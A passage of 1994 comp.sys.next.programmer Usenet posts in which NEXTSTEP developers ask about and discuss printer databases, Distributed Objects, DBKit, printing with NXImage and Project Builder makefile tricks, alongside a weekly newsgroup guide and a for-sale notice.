From: patersk@gb.swissbank.com (Kevin Paterson ) Newsgroups: comp.sys.next.programmer Subject: Loading From Printer Entry Database Date: 20 Feb 1994 10:48:58 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2k7f6q$mgk@gpo.gb.swissbank.com> I've got two problems 1)I am trying to load up a list of printers from the printer entry database. I'm using the example as illustrated in the printerdb man page; - loadPrinters; { prdb_ent *prdb; prdb_set(NULL); while (prdb = prdb_get()) { //Process the prdb's } prdb_end(); return self; } However prdb_get() never returns any printers. prdb_getbyname() works OK. 2)After printing using e.g. [panel smartPrintPSCode:self], is there any way to set yourself up as some sort of error delegate to warn you of failed print jobs without the usual warning panels ? Any ideas on what I'm doing wrong appreciated. Thanks Kevin Swiss Bank Corp., London.
From: gary@nd.com (Gary Lynn) Newsgroups: comp.sys.next.programmer Subject: Re: Global Search and Replace Utility Date: 20 Feb 1994 22:38:52 GMT Organization: University of Florida College of Engineering Distribution: world Message-ID: <2k8ops$rfc@bigguy.eng.ufl.edu> Keywords: utility submission In comp.sys.next.programmer robert@steffi.demon.co.uk writes in reply to the submission of a Search and Replace utility on sonata: >Boy, I sure hope it isn't destructuve. >You're setting yourself up with a big flame war here :-) >Is source available? I'll take a look at how you did it, I recently >had to write some destructive stuff myself but I was using output >MemoryStreams, and only deleting (you don't keep a backup of each file >you touch don't you?) the backup by choice. You're right, I could be taking a big chance by doing this. I can't stress enough that it has not been thoroughly tested and that I take no responsibility for destroyed files. It is a good idea to make a backup of the search directory before using it (at least until you've used it enough to feel confident about it, or until you've verified that the code is correct). I told myself that I wouldn't spend much time on enhancements, but your idea of making backup copies of the touched files was a good one. I have since added that option and submitted Revision 0.2. Gary Lynn NeuroDimension, Inc.
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Sun, 20 Feb 1994 12:28:51 PST Message-ID: <1994Feb20.202851.373@corona.com> Newsgroups: comp.object,comp.sys.next.programmer,comp.lang.objective-c,comp.lang.c++ Subject: Exceptions within Application Frameworks There has been some discussion of exceptions and there use in libraries in other threads. Libraries are at bottom of the feed chain in a procedural hierarchy, and it seems to me that exception handling systems are designed for such hierarchical systems. IE, lower levels throw exceptions which are then caught at some upper level of the hierarchy. The recent trend, however, has been toward application development within frameworks, such as NEXTSTEP, Taligent, MFC, et. al. In these environments the hierarchical structure of the program is less apparent to the developer. Objects are event-driven, without necessarily having much overall context. What sort of approaches are people using toward exception handling in these environments? Exceptions are still useful...many of these apps are interacting with network or database resources from which physical interruption must be considered. On the other hand, the interface consists of many small-grained actions that access the resource, such as a GetNext in a database, triggered by simple user actions such as clicking a button. Wrapping each of them in exception handling is highly redundant and will probably result in lots of cloned error code...not a desirable solution. But these actions are typically initiated from within the framework, which may not be very accessible. One thought would be to build the concept of handler objects into the exception mechanism itself, which could determine context from window hierarchy. Or perhaps the framework could have some means to delegate exception to a predefined object. In either case, something more than just stack unwinding seems required. Comments? --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
From: seanw@codex.com.au (Sean Woodhouse) Newsgroups: comp.sys.next.programmer Subject: Re: Problem with DBValue: help! Date: 20 Feb 1994 23:01:14 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2k8q3q$jmg@yarrina.connect.com.au> References: <1994Feb18.214645.1856@planon.qc.ca> Hi Laurent, I think your problem here is not the DBValue, but the fact that you don't have any associations to the lengthProperty. I've been having the same problem trying to set property values programattically. Basically, you have to have the property associated to something in the UI so the DBRecordList knows to retrieve that value. In my opinion this is the biggest flaw with DBKit since you have to remember to associate properties in IB when you set them in your code. (BTW. you should associate these properties to the File's Owner since it can never be deleted). PLEASE, PLEASE, PLEASE, if anyone has a good fix for this problem, could they please share it with the rest of the NEXT community!!! Sorry I couldn't be more help ...;-) Sean.
From: william@moomin.berkeley.edu (William E. Grosso) Newsgroups: comp.sys.next.programmer Subject: Question about DPSAddTimedEntry (long) Date: 21 Feb 1994 02:56:00 GMT Organization: University of California, Berkeley Message-ID: <2k97s0$d08@agate.berkeley.edu> I've written a "realtime data viewing app". And, I want to test it (before we actually need to use it). So, I wrote a little tiny object that basically uses DPSAddTimedEntry to simulate the input of Data. the problem-- It runs perfectly under SuperDB. And, when invoked from a shell. It just doesn't work when double clicked on. I'm probably missing something obvious, but what ? I've enclosed the entire TimingObject.{mh} file that doesn't work. It's wired in IB to be the Application Object's delegate. Bill Grosso >>the code #import "TimingObject.h" @implementation TimingObject void handler(tag, now, self) DPSTimedEntry tag; double now; id self; { [self sendData]; } -appDidInit:sender { float yValues[]={.25,.40,.60,.85}; float yGain[]={.34, .34, .34, .34}; whereWereAt=0; [medView setUp: 4 : 75 yGain: yGain yOffset: yValues]; teNum=DPSAddTimedEntry(1., &handler, self, NX_BASETHRESHOLD); return self; } - free { if (teNum) DPSRemoveTimedEntry (teNum); return [super free]; } - sendData { return self; } >>The .h file #import "MedMonitorView.h" #import <dpsclient/dpsNeXT.h> #import <appkit/appkit.h> #import <dpsclient/dpsclient.h> #import <dpsclient/dpsNeXT.h> @interface TimingObject:Object { id medView; DPSTimedEntry teNum; int whereWereAt; } - sendData; @end
From: william@moomin.berkeley.edu (William E. Grosso) Newsgroups: comp.sys.next.programmer Subject: Re: Question about DPSAddTimedEntry (long) Date: 21 Feb 1994 02:57:44 GMT Organization: University of California, Berkeley Message-ID: <2k97v8$d0q@agate.berkeley.edu> References: <2k97s0$d08@agate.berkeley.edu> In article <2k97s0$d08@agate.berkeley.edu> william@moomin.berkeley.edu (William E. Grosso) writes: > > Errr... that's a stripped down version, of course. And, the id medView is also wired in IB. As far as I can tell, the medView part of it has absolutely nothing to do with the problem. Bill Grosso
From: eric@skatter.USask.Ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: Can someone help me with setProtocolForProxy? Date: 21 Feb 1994 02:41:28 GMT Organization: University of Saskatchewan, Saskatoon, Canada Distribution: world Message-ID: <2k970o$o08@tribune.usask.ca> I seem to have again smacked into the front edge of the learning curve... I'm trying to get distributed objects working and have decided that I must not know what's going on. I wanted to measure the overhead in sending a message to a remote object. To do so, I set up a client/server combination, the code for which is shown below. My first problem is that I get some unexpected warnings when I try to compile `Contoller.m': Controller.m: In method `runTests:' Controller.m:20: warning: class `NXProxy' does not implement the `workerProtocol' protocol Controller.m:22: warning: method `setProtocolForProxy:' not implemented by protocol. Howcome the compiler is doing this to me? I have found that I can get rid of the warning by replacing id <workerProtocol> worker; with id worker; But isn't the point of protocols that they can be used like this???? Other than that, everything works as expected, *except* that the time taken per message to the remote object is the same regardless of whether or not I call [worker setProtocolForProxy:@protocol(workerProtocol)]. From the documentation, I would have expected things to run about twice as slow if this method were not called. Many thanks to anyone out there who can explain this to me. Here's the the `Worker' object: =============================== WorkerProtocol.h ============================= @protocol workerProtocol - (int)getIntegerReturnValueFor:(int)anInt; @end =============================== Worker.h ===================================== #import <appkit/appkit.h> #import "WorkerProtocol.h" @interface Worker:Object <workerProtocol> @end =============================== Worker.m ===================================== #import "Worker.h" @implementation Worker - (int)getIntegerReturnValueFor:(int)anInt { return anInt * 2; } @end ============================================================================== I then set up a server process: =============================== server.m ===================================== #import <appkit/appkit.h> #import "Worker.h" int main (int argc, char **argv) { id worker; id server; worker = [[Worker alloc] init]; server = [NXConnection registerRoot:worker withName:"ServerExample"]; [server run]; return 0; } ============================================================================== And *finally*, a client process to time things: =============================== Controller.h ================================= #import <appkit/appkit.h> #import "WorkerProtocol.h" #import <remote/NXProxy.h> @interface Controller:Object { id resultDisplay; } - runTests:sender; @end =============================== Controller.m ================================= #import "Controller.h" @implementation Controller static double usec (struct timeval *tvp) { return (tvp->tv_sec * 1.0e6 + tvp->tv_usec); } - runTests:sender { int i, loopcount, ret = 0; id <workerProtocol> worker; struct timeval tv_start, tv_finish; struct timezone tz; struct rusage ru_start, ru_finish; char cbuf[200]; worker = [NXConnection connectToName:"ServerExample"]; if ([sender tag]) [worker setProtocolForProxy:@protocol(workerProtocol)]; loopcount = 1000; gettimeofday (&tv_start, &tz); getrusage (RUSAGE_SELF, &ru_start); for (i = 0 ; i < loopcount ; i++) ret = [worker getIntegerReturnValueFor:i]; gettimeofday (&tv_finish, &tz); getrusage (RUSAGE_SELF, &ru_finish); sprintf (cbuf, "%d\nUser:%g System:%g Wall:%g (usec/call)", ret, (usec (&ru_finish.ru_utime) - usec (&ru_start.ru_utime)) / loopcount, (usec (&ru_finish.ru_stime) - usec (&ru_start.ru_stime)) / loopcount, (usec (&tv_finish) - usec (&tv_start)) / loopcount); [resultDisplay setStringValue:cbuf]; return self; } @end ============================================================================== -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
From: ralf@reswi.en.open.de (Ralf E. Stranzenbach) Newsgroups: comp.sys.next.programmer Subject: another DO question Date: 20 Feb 1994 22:33:54 GMT Organization: News Server fuer en.open.de Message-ID: <RALF.94Feb20233355@jodokus.en.open.de> Hi, i spent some time on distributed objects. I build a sample server that offers me a "login" object (to identify myself) and some test methods (something like "hello world"). I examined the server to get rid of memory leaks (because i want to make my experiences BEFORE working on a real project) and found that each time a new object (login) is created, the server allocates some memory that is not reclaimed when this object is freed. MallocDebug said, that each time one of my login-objects is created and afterwards destroyed, some 1100 bytes of memory are consume - not leaked - by the server. I thought of a data serving application where some houndred objects are created and destroyed within a few hours... But if the server keeps on loosing (?) memory, this will lead to big trouble. Is there something i've missed doing in my "-free" method? It's currently just a "return [super free]" cheapo. - ralf -- Ralf E.Stranzenbach - (NeXT)-Mail: ralf@reswi.en.open.de Fido: Ralf_Stranzenbach 2:245/5800.12 (Voice)-Phone: +49 2302 / 68403 -- Nullum est magnum ingenium sine mixtura dementioe.
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 20 Feb 1994 23:06:07 -0500 Organization: Next Announcements Message-ID: <2k9bvf$6po@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: Strange things while printing... Help please! Date: 21 Feb 1994 04:21:43 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2k9csn$4sb@rosie.next.com> References: <ARROUYE.94Feb18173205@petole.imag.fr> In article <ARROUYE.94Feb18173205@petole.imag.fr> Yves Arrouye writes: > I have a really strange problem while printing a view. The view has to > generate a bitmap of itself and print it because it uses some > informations that will not be available in the printer. ... This doesn't sound very desirable; unless your view's contents were bitmap to start with, isn't this going to give you a pixelated printout? In addition, the bitmap data will probably cause the .ps file to be a lot larger. But, assuming you have to do this... > - drawSelf:(const NXRect*)rects :(int)rectCount { > ... > if (NXDrawingStatus == NX_PRINTING) { // Fixes a bug in printing > id pimage = [[NXImage alloc] initSize:&frame.size]; > [pimage useCacheWithDepth:NX_DefaultDepth]; > [pimage lockFocus]; > ... > [pimage unlockFocus]; > [pimage composite:NX_COPY toPoint:&physicalRect.origin]; > [pimage free]; > } else { > ... > } The problem is that you create an NXImage and draw into it while printing. The application's drawing context is the printer, and the various operations involved in creating an NXImage end up getting sent to the printer context, and that confuses the printing machinery. Ideally NXImage should detect that the current context is a printing context and temporarily restore the app's drawing context; however, in this case it fails to do so. (There are some cases where NXImage will do this correctly; for instance, if its resized during printing.) If you really want to go with the above solution, you can switch the contexts yourself; however, this is rather ugly, and requires changing the value of the NXDrawingStatus global. Not recommended at all (it'll probably break in a major future release). Here's how this unrecommended code would look: DPSContext old = DPSGetCurrentContext(); NXImage *pimage; /* Use static typing! */ DPSSetContext ([NXApp context]); NXDrawingStatus = NX_DRAWING; pimage = [[NXImage alloc] initSize:&frame.size]; [pimage useCacheWithDepth:NX_DefaultDepth]; if ([pimage lockFocus]) { /* Don't forget error checking */ ... [pimage unlockFocus]; } NXDrawingStatus = NX_PRINTING; DPSSetContext (old); >On the other hand, if I put the pimage initialization in another >method that is called *before* the window's printPSCode: method is >called, and if the drawSelf:: method only composites the image, it is >working fine. This sounds like a lot better workaround; you should try to use this method rather than the one above. Ali, Ali_Ozer@NeXT.com
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: Compiling MABS - PB how?? & Project Revision Message-ID: <1994Feb21.005814.2957@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <1994Feb17.120614.4682@xexos.com> Date: Mon, 21 Feb 1994 00:58:14 GMT To get a better understanding of what PB is doing, insert a bogus early target in your makefiles (I do this routinely to track versions, etc.) which shows the Environment passed by PB to the project. Note that several variables are actually used (it appears).... Makefile.preamble... <leader box omitted> PROJECTNAME = $(NAME) PROJECTREVISION = 1.00 # pass project revision into sources for @(#) what lines... OTHER_CFLAGS = -D"PROJECTREVISION=\"$(PROJECTREVISION)\"" \ -D"PROJECTNAME=\"$(PROJECTNAME)\"" <snip> OTHER_INITIAL_TARGETS = MAKEDISPLAY <caution, many Makefile.preamble templates have TWO entries for "OTHER_INITIAL_TARGETS", and the last rules> < the next few lines get rather lengthy and will wrap in this message Add these at end of Makefile.preamble in any project>... MAKEDISPLAY:: -@( echo "============================================================= ===" ; \ echo "# $(MAKEFILE) for: $(PROJECTNAME) v$(PROJECTREVISION) started at:" `/bin/date` ; \ echo -n " on "`/bin/hostname` ; \ echo " by " $$USER ; \ echo "# Make arguments: \"$(MFLAGS)\" <usually none>" ; \ echo "# Make type: $$TERM $$RC_ARCHS, with CFLAGS= $(PROJ_CFLAGS) $(OTHER_CFLAGS) $$RC_CFLAGS" ; \ if [ "$(OBJROOT)" = "." ] ; then \ echo "# Make base directory: " `pwd` ; \ else \ echo "# Make base directory: $(OBJROOT) " ; \ fi ; \ echo "And environment..." ; \ /usr/ucb/printenv ; \ echo "------------------------------------------------------------- -------------------------------------------" ) Note: after some initial testing, I eliminated the "echo And environmnet" and "printenv" lines from my standard preamble, though they ARE included below. I've also added a "raise_version" target to PB via preferences panel, and the raise_version target below... which allows raising the version, i.e. from 1.00 to 1.01 from the PB GUI. The raise_version target runs exclusively from the Makefile.preamble and creates a $(PROJECTNAME).version file as well as self-modifying the value shown above within the preamble, and passed into source components with the -D compile switches. After going beyond the initial 1.00 version, I generally drag the *.version file into the PB so that it gets included in the app, bundle, palette, service, or whatever. UUencoded enclosures, should show as paste-ins in NewsGrazer, or be copyable by non-NG users... Bruce Gingery bruce@TotSysSoft.com begin 666 MAKEDISPLAY.target.compressed M'YV038(L*4(DR10H3()D<4$GC)PS9>@`F$BQHL6+&#-JW,BQ8T40(&W8@`$" M`$@0,6C0*'D2)$F3+4'(@$&3)(@:-6;,A"$C1LZ3-V#H-.FQJ-&C2),J7<JT MJ=.G4*-*G4JUJM6K6+-JW<JUJ]>O8,.*'4NVK-FS:-.J7<NVK=NW<./*G4NW MKMV[>//JW<NWK]^_@`,+'DRXL.'#B!,K7LRXL>/'D"-+GDRYLN7+F#-KWLRY ML^?/H$.+'DVZM.G3J%.K7LVZM>O7L&/+GDV[MNW;N'/KWLV[M^_?P(,+'TZ\ 1N/'CR),K7\Z\N?/GT*-+?PVZ ` end begin 666 raise_version.target.compressed M'YV0<L*DF5/FBYTR<N:D>>/&!9TP<LZ4H0.@HL6+&#-JW,BQH\>/%4&(M&$# M!@@`(D'$H$'C9$J1)E&^%!ECAHP;(FO4L`D#AHR=+57"J%D#)<BC2),J7<JT MJ=.G4*-*G4JU:M6``PL>3+C0C0X="A(`00%"BA4G09H4Z?&"3ALX+\B,<3%G MC)PT<.BX(($"K=H4(':`X!(6A)4B4J8\J4*EAXL7?/T62>%BJT*&@0<7+C,& MS9O!([B$>"$FC9L7<]"`:'$0A`\0)$B8E9R9<`(0G#V#>%%GCAS2IN..&?PZ M]N'$BZD,YL&%AUP79=R0<5U<]MFT16IO[OR9+Q0I3Y04&4)%2A$K2:8D>>($ ML(_JL[%KOYW[LP@70T6(?`_;.FW!MN'&'0@BK*`?=?W%I]9\`NHF@AD'\A>; M@MD!N)V#<40(WW4+6GB;"PER6*%F]`U8!1QG!$2&:6>`8(8<;[0!@AW>@2<> M>>:AIQY[@-'QF1U@C!$&';#UA1UEEG4%!H,$3=="&03.\<)WX8U7WGGIK><$ M"#T42>6-5^JH90I3VFAECEFRQR4(00Y9I&1((G29&V"\H%^`"?C0UEN0&?F7 M"VZ4<8<+382Q1AEFI,%&&2[`(4<98;0AQJ(@%'IHHHLV^FBDDT+I(0ACP+&: MJ'O"%=F1@`I*J*&(*LJHHY!*2JFEK68**Z>4?BJ'C"V8L9M;IOHY6:J#THKI MJYO*"N6$(LZWZVJ^JO#%&V*H\4(2;ICQA@N?"9:"`E:%*^ZXY)9K[KGHIJON MNNRVZ^Z[\,8K[[STUFOOO?CFJ^^^_/;K[[\`!RSPP`07;/#!"">L\,(,-^SP (PQ!'+/'$4`$K ` end
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: Compiling MABS - PB how?? & Project Revision Message-ID: <1994Feb21.011414.3021@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <1994Feb21.005814.2957@ToTSySSoft.com> Date: Mon, 21 Feb 1994 01:14:14 GMT In article <1994Feb21.005814.2957@ToTSySSoft.com> bruce@TotSysSoft.com (Bruce Gingery) writes: -> UUencoded enclosures, should show as paste-ins in -> NewsGrazer, or be copyable by non-NG users... Hmmm... looks like there is a functionality missing in the latest NG. Bruce
From: vanguard@oar.net (Tyler Gingrich) Newsgroups: comp.sys.next.programmer Subject: Re: Problem with DBValue: help! Date: 21 Feb 1994 09:00:19 -0500 Organization: OARnet Distribution: world Message-ID: <2kaepj$h6r@dialup.oar.net> References: <1994Feb18.214645.1856@planon.qc.ca> <2k8q3q$jmg@yarrina.connect.com.au> In article <2k8q3q$jmg@yarrina.connect.com.au> seanw@codex.com.au (Sean Woodhouse) writes: > >I think your problem here is not the DBValue, but the fact that you don't >have any associations to the lengthProperty. I've been having the same >problem trying to set property values programattically. Basically, you >have to have the property associated to something in the UI so the >DBRecordList knows to retrieve that value. In my opinion this is the >biggest flaw with DBKit since you have to remember to associate properties >in IB when you set them in your code. (BTW. you should associate these >properties to the File's Owner since it can never be deleted). PLEASE, >PLEASE, PLEASE, if anyone has a good fix for this problem, could they >please share it with the rest of the NEXT community!!! > This is definitely a problem. DBKit builds it list of properties from the list of associations it loaded from the nib file. So if you want the following SQL.... select a,b,c,d from mytable ...you _have_ to either drag the properties for a,b,c, and d out of the DBModule and drop them on something or you have to set up any additional properties during fetchGroupWillFetch:. You shouldn't drop non-UI properties onto File's Owner because could very easily include a setValue: and/or a getValue: method. If FO does, you will get a whole bunch of stray effects that will be really hard to debug. Instead, Create an instance of the Object class, label it "Garbage", and attach all of your non-UI associations to this instance. Why use an instance of Object?? 1) Smallest possible object to use for this job. 2) Unless you've added setValue: and/or getValue: as a category to the Object class, you won't get stray association messages. 3) All other dbkit programmers will instantly notice your "Garbage" object and realize why it's there. If you use File's Owner, I might change it's class (bypassing the break connections warning), reconnect all of the visible outlets, and end up with broken (and hard to debug) code. Hope this helps... --- Tyler Gingrich tyler@dbkit.com Vanguard Software, Corp.
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: Execute commands! Date: 21 Feb 1994 14:41:35 GMT Organization: Technical University Vienna, Austria Message-ID: <2kah6v$mbq@email.tuwien.ac.at> How can I execute UNIX commands within the application? What will I have to do, to change to stdin,stdout of the command to two pipes of my application? I would like to get some example code! Thanks Suessner Michael
Newsgroups: comp.sys.next.programmer From: jds@aplexus.jhuapl.edu (John D Stanhope) Subject: Ents ?? Message-ID: <CLL28u.8Jx@aplcenmp.apl.jhu.edu> Keywords: Ents, simulation Sender: usenet@aplcenmp.apl.jhu.edu Organization: Johns Hopkins U. Applied Physics Lab Date: Mon, 21 Feb 1994 16:38:53 GMT I just recently read an article in the January issue of the Journal of Object-Oriented Programming (JOOP) that talked about Ents. I noticed that there is a 2.0 binary of the program on sonate but I am intersted in the code or a 3.x version. I am mainly interested because I am trying to write a similiar program and would like to see what they did and/or how they did it. Does anyone know how to reach Donald McGregor or Sabah Randhawa, the email address they gave in the article did not work. -- jds ---------------------------------------------------- Otto "Apes don't read philoshpy" Wanda "Yes they do, they just don't understand it" ----------------------------------------------------
Newsgroups: comp.sys.next.programmer From: c4craig@csn.org (Craig Anderson) Subject: Mux serial users? Message-ID: <CLL2up.9MB@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Mon, 21 Feb 1994 16:51:59 GMT I am in the process of developing some modem handling code for NS/fip. I'd like to hear from others using Mark Salyzyn's Mux serial driver. Craig Anderson craig@c4.com 303.825.8183
Newsgroups: comp.sys.next.programmer From: af7@aixgraf1.urz.uni-heidelberg.de (Ekard Burger) Subject: OODBMS for NeXT Message-ID: <1994Feb21.181249.12270@sun0.urz.uni-heidelberg.de> Sender: news@sun0.urz.uni-heidelberg.de (NetNews) Organization: University of Heidelberg, Germany Date: Mon, 21 Feb 94 18:12:49 GMT Hi, I4m looking for more information about OODBMS for NeXTStep, so i know, only Poet runs on NeXT (Intel and Motorola HW) and there exists an Adaptor for Versant. Know anyone more ? In the last DBMS magazine, March 1994 , was an artikel about a client/server application using the Poet ODBMS with client applications developed in C++ and Objective-C running on NeXT, Motorola and Intel. Know anybody more about the integration from Poet and Nextstep ? Thanks in advance Ekard Burger ---------------------------- Email: af7@ix.urz.uni-heidelberg.de
Newsgroups: comp.sys.next.programmer From: eddie@xexos.com (Eddie Chan) Subject: Detection of Connection break in Distributed Ojects Message-ID: <1994Feb21.170913.17456@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) Date: Mon, 21 Feb 1994 17:09:13 GMT Hi all, I am currently writing a server process which can accept multiple clients using NXConnection. I need the server to be able to detect if a client died and determin which client in order to log and tidy up. can any help? eddie
From: info@absystems.com (Paradigm Shift, Inc.) Newsgroups: comp.sys.next.marketplace,comp.sys.next.software,comp.sys.next.programmer Subject: Oracle 6.0 for Black for Sale Date: 21 Feb 1994 18:51:41 GMT Organization: MCNC -- Center for Communications -- CONCERT Distribution: world Message-ID: <2kavrt$2gk@inxs.concert.net> Not being a programmer/database type, the disks, manuals will go to the first interested party who would pay $300, including shipping. REPLY by EMAIL -- Paradigm Shift, Inc. (919) 682-8553 [Voice] A NeXT Object Channel Member (919) 682-1126 [Fax] NeXTMail Welcomed (temporary domain) info@absystems.com
From: rasmussn@jupiter.eecs.umich.edu (Craig E Rasmussen) Newsgroups: comp.sys.next.programmer Subject: Re: Can someone help me with setProtocolForProxy? Date: 21 Feb 1994 19:08:47 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2kb0rv$1j3@zip.eecs.umich.edu> References: <2k970o$o08@tribune.usask.ca> In article <2k970o$o08@tribune.usask.ca> eric@skatter.USask.Ca (Eric Norum) writes: > I seem to have again smacked into the front edge of the learning > curve... > I'm trying to get distributed objects working and have decided that I > must not know what's going on. I wanted to measure the overhead in > sending a message to a remote object. To do so, I set up a > client/server combination, the code for which is shown below. > > My first problem is that I get some unexpected warnings when I try to > compile `Contoller.m': > Controller.m: In method `runTests:' > Controller.m:20: warning: class `NXProxy' does not implement the > `workerProtocol' protocol > Controller.m:22: warning: method `setProtocolForProxy:' not > implemented by protocol. > Howcome the compiler is doing this to me? > I have found that I can get rid of the warning by replacing > id <workerProtocol> worker; > with > id worker; > But isn't the point of protocols that they can be used like this???? > -- > Eric Norum eric@skatter.usask.ca > Saskatchewan Accelerator Laboratory > University of Saskatchewan > Saskatoon, Canada. NeXTMail accepted. The 